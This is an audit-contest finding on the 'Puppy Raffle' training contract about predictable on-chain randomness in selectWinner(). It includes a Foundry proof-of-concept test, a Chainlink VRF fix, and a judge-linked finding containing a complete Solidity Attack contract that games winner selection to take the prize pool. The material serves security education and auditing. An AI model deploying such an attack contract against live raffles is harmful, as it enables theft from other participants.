Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak Randomness Allows Winner Manipulation

dparaste48

Root + Impact

The selectWinner() function uses predictable on-chain data (block.timestamp, block.difficulty, and msg.sender) for randomness generation. This allows miners and sophisticated users to manipulate or predict the winner selection, compromising the fairness of the raffle.

Description

Describe the normal behavior in one or more sentences:

  • The winner should be selected randomly and fairly from all active participants when the raffle duration has elapsed

  • No participant should be able to predict or manipulate who will be selected as the winner

Explain the specific issue or problem in one or more sentences:

  • The winner index is calculated using keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))

  • All three inputs are either predictable or manipulatable: msg.sender is controlled by the caller, block.timestamp can be manipulated by miners within approximately 15 seconds, and block.difficulty (now prevrandao post-merge) is known before transaction submission

  • An attacker can calculate the winner before calling selectWinner() and only execute the transaction when they will win

// @ src/PuppyRaffle.sol:125-154
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
) % players.length;
address winner = players[winnerIndex];
// ... rest of function
}

Risk

Likelihood:
Reason 1: Miners can manipulate with 100% success rate by controlling block timestamp and prevrandao
Reason 2: Regular users can predict the outcome and front-run or wait for favorable conditions

Impact:
Impact 1: Complete loss of fairness in winner selection, undermining the core purpose of the raffle
Impact 2: Miners gain significant unfair advantage, potentially winning every raffle they participate in

Proof of Concept

Place the following test in test/AuditTest.t.sol:

function testWeakRandomness() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// Predict the winner using the EXACT same formula
uint256 expectedWinnerIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % 4;
address expectedWinner = players[expectedWinnerIndex];
​
puppyRaffle.selectWinner();
// Winner is exactly as predicted
assertEq(puppyRaffle.previousWinner(), expectedWinner);
}

Run with: forge test --mt testWeakRandomness -vv

The test passes, proving the randomness is 100% predictable.

Recommended Mitigation

Use Chainlink VRF for verifiable randomness:

+ import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
+ import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
​
- contract PuppyRaffle is ERC721, Ownable {
+ contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
+ VRFCoordinatorV2Interface COORDINATOR;
+ uint64 s_subscriptionId;
+ bytes32 keyHash;
​
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Request random number from Chainlink VRF
+ uint256 requestId = COORDINATOR.requestRandomWords(
+ keyHash,
+ s_subscriptionId,
+ 3, // requestConfirmations
+ 100000, // callbackGasLimit
+ 1 // numWords
+ );
}
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ uint256 winnerIndex = randomWords[0] % players.length;
+ address winner = players[winnerIndex];
+ // ... rest of winner selection logic
+ }
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!